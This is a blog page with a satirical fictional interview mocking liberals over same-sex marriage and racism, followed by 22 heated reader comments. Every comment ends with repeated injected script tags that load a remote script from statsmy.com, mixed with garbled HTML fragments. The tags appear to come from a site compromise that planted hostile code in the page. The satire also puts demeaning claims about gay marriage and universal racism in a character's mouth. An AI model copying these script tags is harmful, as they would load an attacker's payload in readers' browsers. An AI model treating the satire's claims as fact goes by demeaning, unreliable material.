Smooth Operator - One Minute Of Truth With A Liberal Part 2

One Minute Of Truth With A Liberal Part 2

by Mark on 6/20/2005 (22)

In a rare, candid, unplugged interview with famed liberal activist C.Norman Krappwell, Krappwell has agreed to tell the truth to any questions asked to him for exactly one minute.

Smooth Operator: "Hello, Mr. Krappwell. Good to have you back. Are you good to go?"

Krappwell: "Uh, yeah...lets do it."

Smooth Operator: "A lot of attention was drawn to same sex marriages in the 2004 election, and were seen by many as the death knell of the Democratic party's chances of beating Bush. Is this true?"

Krappwell: (laughs) "Uh, big yes. We fucked up. Let me explain something to you, and I'm not even sure I can explain it to myself, so bear with me...do you remember your freshman year in college, when you would join activist groups bent on saving mankind from himself, and saying and doing things that made you feel uncomfortable just for the sake of saying and doing things that made you feel uncomfortable? That's what higher education is all about, right? Doing things that are unpopular...not necessarily because they are more just...just because they make people feel uncomfortable. Well, that sums up what being liberal is all about. We never lost that freshman masochism. We strive to keep it alive because we have fooled ourselves into thinking it makes us higher minded and more enlightened than everyone else. Of course that is bullshit, and sometimes we're so full of ourselves we don't even see it, either.

Same sex marriages will never be accepted because the notion is morally repugnant to the human psyche, except, perhaps, to those involved in one. Let me hammer this home to you: We supported same sex marriage because we want to show we are more tolerant than the rest of you are...Why? It shows we are more progressive, and frankly, just plain smarter than you. I loath the notion of same sex marriages, it makes my skin crawl, but remembering back to the freshman masochism thing? How can you get more masochistic than backing gay marriages? We just did it to show we're better than everyone else, and we overplayed our hand. We fucked up big time."

Smooth Operator: "Wow...I suppose you feel the same way on racial issues too, then?"

Krappwell: "Uh, yeah. We carry on about standardized testing and how genetic testing proves racism is myth, and we accept and violently defend unpopular racial notions of all types, including interracial relationships, to the extent of losing family and friends in doing so. Of course that's pure self-delusional bullshit...the purest kind. Let me explain to you how racism works: First you need an underdog. I'm not the underdog, because I'm white, see? But I need someone to root for, to once again show that I have a higher moral caliber and am more evolved and better than anyone else. And it can play out. It can work. No one can deny that racism is an evil, but the quintessence in the absurdity is that anyone on the planet is above it, and of course no living soul is...no one, and anyone who tells you so is a phony and a liar, although they themselves might be brainwashed enough not to see it...to be blind to it. Saying you've progressed beyond racism is like saying you've progressed beyond eating and farting. But make no mistake, we're as big a racist as any Klan member, and we have no intention, ever, of handing this country over to minorities, ever, including yours truly."

Smooth Operator: "Wow...Wow again. Well, we need to wrap this up...tell me on last thing: When you mention high minded idealism as being the foundation of the Liberal party, do you think it is basically well intended, or tainted with ego from the get go?"

Krappwell: "I could answer that in 1 second with one word, but I won't. I appreciate my minute with you. Thanks again.

Smooth Operator: "Thank you."

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1. by liberal in L.A. on 3/1/2007 4:52:29 PM

1. racism is inevitable? this is your big defense for it? 2. I'm straight, but the idea of gay marriage doesn't bother me as much as the idea that YOU might pass on your genetic material. 3. Learn to fucking spell. 'rap it up'? try 'wrap it up', the way you'd UNwrap the Christmas and birthday you'd get if anyone ever cared about you.isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Bushee on 3/1/2007 4:52:29 PM

Why did you feel the need to point out you are straight? Tbis guys right.n. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Katy on 3/1/2007 4:52:29 PM

Liberal in LA, you can count. We're all very proud. Now if you'd kindly take your self-righteous lecturing somewhere else until you can develop a sense of humour, it would be greatly appreciated. Just for the record, the article is poking fun at the hypocracy in the ideals of certain liberals. It's a satire about politics. The author is not racist or anything like that, he is just pointing out, for example, that it's humourous certain liberals will pretend it doesn't exist rather than dealing with it. Learn to fucking laugh or don't read satire."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz, author on 3/1/2007 4:52:29 PM

Thanks for the support sweety. This guy is the exact type of liberal phony that I'm talking about...that I wrote this about. If this guy told the truth for 1 minute, I mean really told the truth, HE could be the fictional character in my story. Big blowhard phony. BTW...what are you doing Friday? hehe src="h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Interesting... on 3/1/2007 4:52:29 PM

So the basis of this satire is that liberals only defend gays because they're masochistic, and racism is as natural as eating and farting? I'd love to debate the merits of that argument, but I don't know if my fragile liberal ego could handle being called a big blowhard phony. Instead I'll just make with the name calling. This could only be funny to someone who believed it to be true, and if you believe that this is the way even a small percentage of liberals think, then you're delusional, in addition to being a racist and a bigot. Furthermore, all Republicans sodomize sheep and drink piss straight from the c*ck. That's funny, right? Satire!ispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Lib'rul Soldier on 3/1/2007 4:52:29 PM

Motz, try "party's" instead of "parties," as the context in which the word is used in the first question would be considered possessive, not plural. By the way, This isn't humor. There's no joke here. It's like when Bill O'Reilly called Johnny Depp a "pot head," during a show, and came back yelling after the commercial break that what he said was "satire". Ad hominem, even as <i>cleverly</i> as you've hidden it in your story , may draw a giggle, but it's not good humor, and it's not very widely considered to be good form. Don't quit your day job, and good luck mastering those challenging apostrophes and other assorted punctuation marks!isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Motz on 3/1/2007 4:52:29 PM

It IS true. You just aren't smart enough to see it. The fact is, there are no such things as "Liberals" and "Republicans". Only people... Some people who deny the primitive state of the human condition, and those who are aware of it and fight it. Grow up.h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Motz on 3/1/2007 4:52:29 PM

Oh, I forgot to mention, those who believe they are above the human condition. That's the reason I wrote this. I fucking hate that."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Kenny on 3/1/2007 4:52:29 PM

I'd like to point something out here that I think most of us can agree on: Donuts, is there anything they can't do? Even cholate ones?"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motzaroo on 3/1/2007 4:52:29 PM

I fucking HATE donuts...next?!!"0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Kenny on 3/1/2007 4:52:29 PM

Now you're just lying Mark. Nobody hates donuts, it is impossible - they're round (duh).tp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Motzaroo on 3/1/2007 4:52:29 PM

Actually I'm partial to pachkis...th apricot, not the poppie, although the nut is good too...:) src </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by Katy on 3/1/2007 4:52:29 PM

I would like to point out that this article is satirical in its hyperbole. Compare Motz's article on Liberals to any Republican or Democrat joke -- the humour is in its extremity. No one who posesses any intelligence truly believes that all Liberals are hypocritical, naive hippies, just like no one with intelligence believes that republicans are greedy war-mongers. The comedy derrives from the true definitions of liberalism and realism from which democratic and republican ideals are formed. It takes the weaknesses of one particular party and twists them into a caricature. The comedy is in it's hyperbolic absurdity. Lib'ril Soldier, in particular, I'd love to congratulate you on your Latin skills . Unfortunately they will be of little use for you overcoming your apparent social ineptitude. While Motz's punctuation and spelling may bring tears to your (apparently) god-like eyes, using that as an arguement to prove he is racist, homophobic, or simply overall intolerant is absurd. To put this all very bluntly to all of you who seem to be blinded by your self-given, political labels, please stick your pretentious criticism and faux outrage, and stick it up your affronted asses. ________________________ And yes, Kenny, doughnuts are amazing.m </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by Motz on 3/1/2007 4:52:29 PM

Everything I wrote is true. They just got miffed because they saw themselves in the mirror, up close, for the first time. As for my writing style, it is meant to be more like a screenplay than an editorial. The style is deliberate.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

15. by Motzaroo on 3/1/2007 4:52:29 PM

thanks, sweety, btwispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

16. by ex-Lib'rul Soldier on 3/1/2007 4:52:29 PM

Wow Motz, Your humbling satirical piece has shown me the hyperbolic but absolute truth about who I really am. And jeez, to think that I apparently thought I was God there for a second or something! I must be going nuts! Thanks for wrangling me back to reality, Katy. And, for providing me the mirror, I am eternally grateful. You have changed my life, and made me realize and respect the complexities of the human condition. I owe ya. Love, A fan."0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

17. by Motzaroo on 3/1/2007 4:52:29 PM

You came back for more, didn't ya?" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

18. by Katy on 3/1/2007 4:52:29 PM

I respect the sarcasm..."0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

19. by Motzaroo on 3/1/2007 4:52:29 PM

I like you Katy :)ispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

20. by Kris on 3/1/2007 4:52:29 PM

I'm not getting in the middle of this political debate... last time I did that, I ended up with a broken nose and a dead hooker in my trunk. Talk about a rough Christmas.g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

21. by Motzaroo on 3/1/2007 4:52:29 PM

I like you Kris :)ispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

22. by bongo on 3/1/2007 4:52:29 PM

you un-funny idiot. what you are doing is not satire. Satire is supposed to be intelligient, not a disguised attack on those they dislike. you are a dumb f*ck. with a small pen*s. now that's funny. src="h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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